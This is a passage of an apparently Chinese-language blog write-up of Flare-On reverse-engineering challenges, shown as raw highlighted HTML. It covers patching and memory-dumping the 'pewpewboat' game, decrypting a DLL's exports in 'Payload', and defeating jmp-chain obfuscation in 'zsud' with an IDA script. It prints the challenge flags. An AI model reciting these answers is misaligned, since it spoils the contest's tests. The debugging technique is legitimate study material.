&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt;  Checksum[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F; 恶魔妹妹摸咪咪……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    DWORD ammo_amount&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; LastInputUpperCase[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; LevelName[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    something[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; HelloMessage[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;69&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里本来是想通过patch的方法，跳过验证过程，直接打出提示消息，以为这样就会在最后得到flag。等全部patch完才发现，还是要上调试器脚本的。考虑到你可能也想试一下，我附上了自己patch后的文件。&lt;&#x2F;p&gt;
&lt;p&gt;回到游戏流程。每轮游戏中，你的输入值除了会影响&lt;code&gt;DiskStatus&lt;&#x2F;code&gt;外，还会被原样放到上面结构体的&lt;code&gt;LastInputUpperCase&lt;&#x2F;code&gt;中。如果对应的点在&lt;code&gt;GoodStatus&lt;&#x2F;code&gt;中为&lt;code&gt;True&lt;&#x2F;code&gt;，那么就算击中。此外，每轮游戏中，&lt;code&gt;checksum&lt;&#x2F;code&gt;值都会变，用来解密下一轮游戏。&lt;&#x2F;p&gt;
&lt;p&gt;总之，你有两个绕过验证的方案：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;手动写程序计算所有正确的输入向量&lt;&#x2F;li&gt;
&lt;li&gt;像我一样打patch然后从内存里提出来&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我在patch后这样设了下断点：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ gef pewpewboat.patched&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;gef &amp;gt; b *0x403ec6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;gef &amp;gt; commands&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt; append binary memory &#x2F;tmp&#x2F;5_final_full.bin `$rax+0x00 $`rax+0x240&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt; c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt; end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;gef &amp;gt; r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后在dump文件中用&lt;code&gt;strings&lt;&#x2F;code&gt;简单看了看，发现了这么一行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PEWYouPEWfoundPEWsomePEWlettersPEWdidPEWya?PEWToPEWfindPEWwhatPEWyou&amp;#39;rePEWlookingPEWfor,PEWyou&amp;#39;llPEWwantPEWtoPEWre-orderPEWthem:PEW9,PEW1,PEW2,PEW7,PEW3,PEW5,PEW6,PEW5,PEW8,PEW0,PEW2,PEW3,PEW5,PEW6,PEW1,PEW4.PEWNextPEWyouPEWletPEW13PEWROTPEWinPEWthePEWsea!PEWTHEPEWFINALPEWSECRETPEWCANPEWBEPEWFOUNDPEWWITHPEWONLYPEWTHEPEWUPPERPEWCASE.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把所有的PEW换成空格，会发现他想让你按照他给的数字，将对应局游戏答案对应的字符做ROT13。做完之后我得到了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;butwhereistherum&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还是一头雾水。后来在师傅启发下，又看了看源码，发现输入的时候有一段代码忘了看。索性直接输进去：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;y0u__sUnK_mY__P3Wp3w_b04t@flare-on.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提交于&lt;code&gt;October 4th, 1:40:36 AM CST&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;payload&quot;&gt;Payload&lt;&#x2F;h2&gt;
&lt;p&gt;因为很久没碰过Windows了，所以在读MSDN和逆向&lt;code&gt;rundll32&lt;&#x2F;code&gt;以及&lt;code&gt;ntdll&lt;&#x2F;code&gt;上花的时间比解题时间还长。&lt;&#x2F;p&gt;
&lt;p&gt;从几个字符串中可以看出，这个DLL正确的调用姿势是&lt;code&gt;%WINDOWS%&#x2F;system32&#x2F;rundll32.exe payload.dll #1&lt;&#x2F;code&gt;。DLL在&lt;code&gt;rundll32.exe!InitCommandInfo+78&lt;&#x2F;code&gt;处被加载，然后在&lt;code&gt;rundll32.exe!wWinMain+2A2&lt;&#x2F;code&gt;处查找并调用了导出函数。此外，DLL也可以有一些初始化函数，这些函数由 &lt;code&gt;payload.dll!_initterm&lt;&#x2F;code&gt;调用，地址存放在&lt;code&gt;payload.dll!0x10250&lt;&#x2F;code&gt;，在读取导出表前执行。显然是MSVC的作风。&lt;&#x2F;p&gt;
&lt;p&gt;总之，我目前知道第一个函数是&lt;code&gt;sub_180004400&lt;&#x2F;code&gt;和&lt;code&gt;sub_180005A50&lt;&#x2F;code&gt;。他们会在DLL加载后即刻执行，并用这样的一组key来初始化导出表：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(ctime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;year&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; ctime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;monty)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解密后，你可以看到这个DLL原始文件名为&lt;code&gt;lustrated.dll&lt;&#x2F;code&gt;，导出函数是&lt;code&gt;orphanedirreproducibleconfidences&lt;&#x2F;code&gt;。分析这个导出函数，发现他会检查输入参数是否符合导出函数名，如果符合就弹出一个这样的对话框：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;key part&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;key[25] = 0x6d;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;OK   &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;emmmmmm……于是我写了个编译器脚本，key从0到25循环，然后得到了这么一批日志：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;filingmeteorsgeminately&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;leggykickedflutters&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;incalculabilitycombustionsolvency&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;crappingrewardsanctity&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;evolvablepollutantgavial&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;ammoniatesignifiesshampoo&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;majesticallyunmarredcoagulate&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;roommatedecapitateavoider&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;fiendishlylicentiouslycolouristic&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;sororityfoxyboatbill&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;dissimilitudeaggregativewracks&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;allophoneobservesbashfulness&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;incuriousfatherlinessmisanthropically&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;screensassonantprofessionalisms&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;religionistmightplaythings&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;airglowexactlyviscount&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;thonggeotropicermines&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;gladdingcocottekilotons&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;diagrammaticallyhotfootsid&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;corkerlettermenheraldically&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;ulnacontemptuouscaps&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;impureinternationalisedlaureates&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;anarchisticbuttonedexhibitionistic&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;tantalitemimicryslatted&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;basophileslapsscrapping&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENT &amp;gt;&amp;gt;&amp;gt; &amp;quot;orphanedirreproducibleconfidences&amp;quot; &amp;lt;&amp;lt;&amp;lt; ENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再用另一个脚本读取这些参数并执行，最后拼成一组flag：&lt;code&gt;wuuut-exp0rts@flare-on.com.dll&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;提交于&lt;code&gt;October 5th, 10:49:44 PM CST&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zsud&quot;&gt;zsud&lt;&#x2F;h2&gt;
&lt;p&gt;这个程序很麻烦，花了差不多两天。&lt;&#x2F;p&gt;
&lt;p&gt;挂上调试器后，就注意到了一个操蛋的特征：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.text:004036A0 sub_4036A0      proc near               ; CODE XREF: _WinMain@16_0+2↓p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.text:004036A0                 jmp     sub_403630&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.text:004036A0 sub_4036A0      endp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.text:00403630                 jmp     sub_4035C0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.text:004035C0                 jmp     sub_403550&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每个函数调用前部都是连续的128个jmp。调试器还比较好办，用trace功能，追踪到第一个不是jmp的指令即可：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Break Condition:   byte(eip) != e9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Log Text:          Jumping over 0x{p:eip}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Log Condition:     byte(eip) == e9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;IDA也还好。因为提供了很完整的函数信息，我们用下面的脚本可以做更精确的判断。如果这串脚本你看不懂，可以先去了解下IDA的ctree结构，这个在二次开发和复杂程序处理中比较重要。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;msg&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;[LOG-FixChain]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;msg)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; get_call_chain&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; chainmax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100000&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  # use current cursor address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ida_kernwin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_screen_ea&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    #ea = ida_func.get_func(ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    jmp_chain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [ea]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span&gt; chainmax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; # Search until found end or meet chianmax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        current&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; jmp_chain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;        log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Processing &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%08x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;current)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Get ctree&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        cfunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ida_hexrays&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;decompile&lt;&#x2F;span&gt;&lt;span&gt;(current)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Will not work if we do not output a string&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;(cfunc)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; cfunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  # We have encountered something unusual. Get back and jump to normal end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            jmp_chain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
